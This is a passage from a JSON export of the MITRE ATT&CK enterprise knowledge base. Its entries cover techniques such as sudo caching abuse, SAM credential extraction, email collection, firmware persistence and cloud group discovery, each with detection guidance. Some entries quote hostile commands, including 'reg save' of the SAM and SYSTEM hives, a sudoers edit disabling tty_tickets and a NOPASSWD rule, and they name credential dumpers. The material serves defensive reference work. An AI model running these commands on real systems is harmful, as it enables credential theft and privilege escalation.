Techniques)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Forensic techniques exist to detect aspects of files that have had their timestamps modified. (Citation: WindowsIR Anti-Forensic Techniques) It may be possible to detect timestomping using file modification monitoring that collects information on file handle opens and can compare timestamp values.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_defense_bypassed":["Host forensic analysis"],"x_mitre_permissions_required":["User","Administrator","SYSTEM"]},{"x_mitre_platforms":["Windows","Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc","type":"attack-pattern","created":"2021-03-17T15:28:10.689Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1016.001","url":"https://attack.mitre.org/techniques/T1016/001"}],"modified":"2021-03-25T17:03:26.632Z","name":"Internet Connection Discovery","description":"Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using [Ping](https://attack.mitre.org/software/S0097), <code>tracert</code>, and GET requests to websites.\n\nAdversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_detection":"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Command and Control, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to check Internet connectivity.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Command: Command Execution","Process: Process Creation"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0","type":"attack-pattern","created":"2020-01-30T14:34:44.992Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1548.003","url":"https://attack.mitre.org/techniques/T1548/003"},{"url":"https://www.sudo.ws/","description":"Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018.","source_name":"sudo man page 2018"},{"url":"https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/","description":"Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.","source_name":"OSX.Dok Malware"},{"url":"https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does","description":"Amit Serper. (2018, May 10). ProtonB What this Mac Malware Actually Does. Retrieved March 19, 2018.","source_name":"cybereason osx proton"}],"modified":"2022-03-14T16:28:19.781Z","name":"Sudo and Sudo Caching","description":"Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.\n\nWithin Linux and MacOS systems, sudo (sometimes referred to as \"superuser do\") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The <code>sudo</code> command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\"(Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a <code>timestamp_timeout</code>, which is the amount of time in minutes between instances of <code>sudo</code> before it will re-prompt for a password. This is because <code>sudo</code> has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at <code>/var/db/sudo</code> with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a <code>tty_tickets</code> variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nThe sudoers file, <code>/etc/sudoers</code>, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like <code>user1 ALL=(ALL) NOPASSWD: ALL</code>.(Citation: OSX.Dok Malware) Elevated privileges are required to edit this file though.\n\nAdversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, <code>/var/db/sudo</code>'s timestamp can be monitored to see if it falls within the <code>timestamp_timeout</code> range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additional, if <code>tty_tickets</code> is disabled, adversaries can do this from any tty for that user.\n\nIn the wild, malware has disabled <code>tty_tickets</code> to potentially make scripting easier by issuing <code>echo \\'Defaults !tty_tickets\\' >> /etc/sudoers</code>.(Citation: cybereason osx proton) In order for this change to be reflected, the malware also issued <code>killall Terminal</code>. As of macOS Sierra, the sudoers file has <code>tty_tickets</code> enabled by default.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the <code>LOG_INPUT</code> and <code>LOG_OUTPUT</code> directives in the <code>/etc/sudoers</code> file.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Modification","Process: Process Metadata","Process: Process Creation","Command: Command Execution"],"x_mitre_permissions_required":["User"],"x_mitre_effective_permissions":["root"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b","type":"attack-pattern","created":"2020-02-20T21:09:55.995Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1560.003","url":"https://attack.mitre.org/techniques/T1560/003"},{"url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf","description":"ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.","source_name":"ESET Sednit Part 2"}],"modified":"2020-03-25T22:48:14.605Z","name":"Archive via Custom Method","description":"An adversary may compress or encrypt data that is collected prior to exfiltration using a custom method. Adversaries may choose to use custom archival methods, such as encryption with XOR or stream ciphers implemented with no external library or utility references. Custom implementations of well-known compression algorithms have also been used.(Citation: ESET Sednit Part 2)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_detection":"Custom archival methods can be very difficult to detect, since many of them use standard programming language concepts, such as bitwise operations.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Creation","Script: Script Execution"]},{"x_mitre_platforms":["IaaS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--144e007b-e638-431d-a894-45d90c54ab90","type":"attack-pattern","created":"2019-08-30T18:03:05.864Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1578","url":"https://attack.mitre.org/techniques/T1578"},{"source_name":"Mandiant M-Trends 2020","url":"https://content.fireeye.com/m-trends/rpt-m-trends-2020","description":"Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020."}],"modified":"2021-04-20T14:51:01.759Z","name":"Modify Cloud Compute Infrastructure","description":"An adversary may attempt to modify a cloud account's compute service infrastructure to evade defenses. A modification to the compute service infrastructure can include the creation, deletion, or modification of one or more components such as compute instances, virtual machines, and snapshots.\n\nPermissions gained from the modification of infrastructure components may bypass restrictions that prevent access to existing infrastructure. Modifying infrastructure components may also allow an adversary to evade detection and remove evidence of their presence.(Citation: Mandiant M-Trends 2020)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Establish centralized logging for the activity of cloud compute infrastructure components. Monitor for suspicious sequences of events, such as the creation of multiple snapshots within a short period of time or the mount of a snapshot to a new instance by a new or unexpected user. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Instance: Instance Modification","Snapshot: Snapshot Modification","Volume: Volume Modification","Instance: Instance Stop","Volume: Volume Metadata","Instance: Instance Metadata","Volume: Volume Deletion","Instance: Instance Deletion","Instance: Instance Start","Snapshot: Snapshot Deletion","Volume: Volume Creation","Snapshot: Snapshot Creation","Instance: Instance Creation","Snapshot: Snapshot Metadata"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Windows","Azure AD","Office 365","SaaS","IaaS","Linux","macOS","Google Workspace","Containers"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Daniel Prizmant, Palo Alto Networks","Yuval Avrahami, Palo Alto Networks","Microsoft Threat Intelligence Center (MSTIC)"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce","type":"attack-pattern","created":"2017-05-31T21:30:55.471Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1069","url":"https://attack.mitre.org/techniques/T1069"},{"external_id":"CAPEC-576","source_name":"capec","url":"https://capec.mitre.org/data/definitions/576.html"},{"source_name":"K8s Authorization Overview","url":"https://kubernetes.io/docs/reference/access-authn-authz/authorization/","description":"Kubernetes. (n.d.). Authorization Overview. Retrieved June 24, 2021."}],"modified":"2021-10-15T18:10:53.423Z","name":"Permission Groups Discovery","description":"Adversaries may attempt to find group and permission settings. This information can help adversaries determine which user accounts and groups are available, the membership of users in particular groups, and which users and groups have elevated permissions.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_detection":"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). Monitor container logs for commands and/or API calls related to listing permissions for pods and nodes, such as <code>kubectl auth can-i</code>.(Citation: K8s Authorization Overview)","x_mitre_version":"2.4","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Group: Group Enumeration","Group: Group Metadata","Application Log: Application Log Content","Process: Process Creation","Pod: Pod Metadata","Command: Command Execution"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Windows","Office 365","Google Workspace","macOS","Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f","type":"attack-pattern","created":"2017-05-31T21:31:25.454Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1114","url":"https://attack.mitre.org/techniques/T1114"},{"description":"McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019.","url":"https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/","source_name":"Microsoft Tim McMichael Exchange Mail Forwarding 2"}],"modified":"2021-10-15T20:19:33.750Z","name":"Email Collection","description":"Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_detection":"There are likely a variety of ways an adversary could collect email from a target, each with a different mechanism for detection.\n\nFile access of local system email files for Exfiltration, unusual processes connecting to an email server within a network, or unusual access patterns or authentication attempts on a public-facing webmail server may all be indicators of malicious activity.\n\nMonitor processes and command-line arguments for actions that could be taken to gather local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nDetection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account.\n\nAuto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include <code>X-MS-Exchange-Organization-AutoForwarded</code> set to true, <code>X-MailFwdBy</code> and <code>X-Forwarded-To</code>. The <code>forwardingSMTPAddress</code> parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the <code>X-MS-Exchange-Organization-AutoForwarded</code> header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.","x_mitre_version":"2.3","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Access","Application Log: Application Log Content","Network Traffic: Network Connection Creation","Logon Session: Logon Session Creation","Command: Command Execution"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Ed Williams, Trustwave, SpiderLabs"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011","type":"attack-pattern","created":"2020-02-11T18:42:07.281Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1003.002","url":"https://attack.mitre.org/techniques/T1003/002"},{"url":"https://github.com/Neohapsis/creddump7","description":"Flathers, R. (2018, February 19). creddump7. Retrieved April 11, 2018.","source_name":"GitHub Creddump7"}],"modified":"2020-03-25T15:17:30.640Z","name":"Security Account Manager","description":"Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through in-memory techniques or through the Windows Registry where the SAM database is stored. The SAM is a database file that contains local accounts for the host, typically those found with the <code>net user</code> command. Enumerating the SAM database requires SYSTEM level access.\n\nA number of tools can be used to retrieve the SAM file through in-memory techniques:\n\n* pwdumpx.exe\n* [gsecdump](https://attack.mitre.org/software/S0008)\n* [Mimikatz](https://attack.mitre.org/software/S0002)\n* secretsdump.py\n\nAlternatively, the SAM can be extracted from the Registry with Reg:\n\n* <code>reg save HKLM\\sam sam</code>\n* <code>reg save HKLM\\system system</code>\n\nCreddump7 can then be used to process the SAM database locally to retrieve hashes.(Citation: GitHub Creddump7)\n\nNotes: \n* RID 500 account is the local, built-in administrator.\n* RID 501 is the guest account.\n* User accounts start with a RID of 1,000+.\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"Hash dumpers open the Security Accounts Manager (SAM) on the local file system (<code>%SystemRoot%/system32/config/SAM</code>) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Access","Windows Registry: Windows Registry Key Access","Command: Command Execution"],"x_mitre_permissions_required":["SYSTEM"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--166de1c6-2814-4fe5-8438-4e80f76b169f","type":"attack-pattern","created":"2020-10-02T16:56:49.744Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1596.002","url":"https://attack.mitre.org/techniques/T1596/002"},{"source_name":"WHOIS","url":"https://www.whois.net/","description":"NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020."}],"modified":"2021-04-15T03:50:44.113Z","name":"WHOIS","description":"Adversaries may search public WHOIS data for information about victims that can be used during targeting. WHOIS data is stored by regional Internet registries (RIR) responsible for allocating and assigning Internet resources such as domain names. Anyone can query WHOIS servers for information about a registered domain, such as assigned IP blocks, contact information, and DNS nameservers.(Citation: WHOIS)\n\nAdversaries may search WHOIS data to gather actionable information. Threat actors can use online resources or command-line utilities to pillage through WHOIS data for information about potential victims. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Jean-Ian Boutin, ESET","McAfee","Ryan Becwar"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--16ab6452-c3c1-497c-a47d-206018ca1ada","type":"attack-pattern","created":"2019-12-19T19:43:34.507Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1542.001","url":"https://attack.mitre.org/techniques/T1542/001"},{"external_id":"CAPEC-532","source_name":"capec","url":"https://capec.mitre.org/data/definitions/532.html"},{"url":"https://en.wikipedia.org/wiki/BIOS","description":"Wikipedia. (n.d.). BIOS. Retrieved January 5, 2016.","source_name":"Wikipedia BIOS"},{"url":"https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface","description":"Wikipedia. (2017, July 10). Unified Extensible Firmware Interface. Retrieved July 11, 2017.","source_name":"Wikipedia UEFI"},{"url":"http://www.uefi.org/about","description":"UEFI Forum. (n.d.). About UEFI Forum. Retrieved January 5, 2016.","source_name":"About UEFI"},{"url":"http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research","description":"Upham, K. (2014, March). Going Deep into the BIOS with MITRE Firmware Security Research. Retrieved January 5, 2016.","source_name":"MITRE Trustworthy Firmware Measurement"},{"url":"http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about","description":"Butterworth, J. (2013, July 30). Copernicus: Question Your Assumptions about BIOS Security. Retrieved December 11, 2015.","source_name":"MITRE Copernicus"},{"url":"https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/","description":"Beek, C., Samani, R. (2017, March 8). CHIPSEC Support Against Vault 7 Disclosure Scanning. Retrieved March 13, 2017.","source_name":"McAfee CHIPSEC Blog"},{"url":"https://github.com/chipsec/chipsec","description":"Intel. (2017, March 18). CHIPSEC Platform Security Assessment Framework. Retrieved March 20, 2017.","source_name":"Github CHIPSEC"},{"url":"http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html","description":"Intel Security. (2005, July 16). HackingTeam's UEFI Rootkit Details. Retrieved March 20, 2017.","source_name":"Intel HackingTeam UEFI Rootkit"}],"modified":"2020-05-19T21:22:37.865Z","name":"System Firmware","description":"Adversaries may modify system firmware to persist on systems.The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)\n\nSystem firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"System firmware manipulation may be detected. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior.\n\nLikewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Firmware: Firmware Modification"],"x_mitre_defense_bypassed":["Host intrusion prevention systems","Anti-virus","File monitoring"],"x_mitre_permissions_required":["Administrator","SYSTEM"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--16cdd21f-da65-4e4f-bc04-dd7d198c7b26","type":"attack-pattern","created":"2020-10-02T16:51:50.306Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1594","url":"https://attack.mitre.org/techniques/T1594"},{"source_name":"Comparitech Leak","url":"https://www.comparitech.com/blog/vpn-privacy/350-million-customer-records-exposed-online/","description":"Bischoff, P. (2020, October 15). Broadvoice database of more than 350 million customer records exposed online. Retrieved October 20, 2020."}],"modified":"2021-04-15T03:53:33.023Z","name":"Search Victim-Owned Websites","description":"Adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: [Email Addresses](https://attack.mitre.org/techniques/T1589/002)). These sites may also have details highlighting business operations and relationships.(Citation: Comparitech Leak)\n\nAdversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199) or [Phishing](https://attack.mitre.org/techniques/T1566)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Monitor for suspicious network traffic that could be indicative of adversary reconnaissance, such as rapid successions of requests indicative of web crawling and/or large quantities of requests originating from a single source (especially if the source is known to be associated with an adversary). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Application Log: Application Log Content"]},{"x_mitre_platforms":["Azure AD","Office 365","SaaS","IaaS","Google Workspace"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Regina Elwell","Isif Ibrahima, Mandiant"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--16e94db9-b5b1-4cd0-b851-f38fbd0a70f2","created":"2020-02-21T21:15:33.222Z","x_mitre_version":"1.3","external_references":[{"source_name":"mitre-attack","external_id":"T1069.003","url":"https://attack.mitre.org/techniques/T1069/003"},{"source_name":"AWS Get Bucket ACL","url":"https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetBucketAcl.html","description":"Amazon Web Services. (n.d.). Retrieved May 28, 2021."},{"source_name":"Black Hills Red Teaming MS AD Azure, 2018","url":"https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/","description":"Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active Directory Leaks via Azure. Retrieved October 6, 2019."},{"source_name":"Google Cloud Identity API Documentation","url":"https://cloud.google.com/identity/docs/reference/rest","description":"Google. (n.d.). Retrieved March 16, 2021."},{"source_name":"Microsoft AZ CLI","url":"https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest","description":"Microsoft. (n.d.). az ad user. Retrieved October 6, 2019."},{"source_name":"Microsoft Msolrole","url":"https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrole?view=azureadps-1.0","description":"Microsoft. (n.d.). Get-MsolRole. Retrieved October 6, 2019."},{"source_name":"GitHub Raindance","url":"https://github.com/True-Demon/raindance","description":"Stringer, M.. (2018, November 21). RainDance. Retrieved October 6, 2019."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.\n\nWith authenticated access there are several tools that can be used to find permissions groups. The <code>Get-MsolRole</code> PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts (Citation: Microsoft Msolrole)(Citation: GitHub Raindance).\n\nAzure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command <code>az ad user get-member-groups</code> will list groups associated to a user account for Azure while the API endpoint <code>GET https://cloudidentity.googleapis.com/v1/groups</code> lists group resources available to a user for Google.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation)\n\nAdversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS <code>GetBucketAcl</code> API (Citation: AWS Get Bucket ACL). Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object.","modified":"2022-04-19T02:44:58.838Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Cloud Groups","x_mitre_detection":"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Activity and account logs for the cloud services can also be monitored for suspicious commands that are anomalous compared to a baseline of normal activity.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Application Log: Application Log Content","Group: Group Metadata","Group: Group Enumeration","Command: Command Execution","Process: Process Creation"],"x_mitre_system_requirements":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Travis Smith, Tripwire","Matthew Demaske, Adaptforward"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--17cc750b-e95b-4d7d-9dde-49e0de24148c","type":"attack-pattern","created":"2020-03-13T11:42:14.444Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1574.011","url":"https://attack.mitre.org/techniques/T1574/011"},{"external_id":"CAPEC-478","source_name":"capec","url":"https://capec.mitre.org/data/definitions/478.html"},{"source_name":"Registry Key Security","url":"https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-key-security-and-access-rights?redirectedfrom=MSDN","description":"Microsoft. (2018, May 31). Registry Key Security and Access Rights. Retrieved March 16, 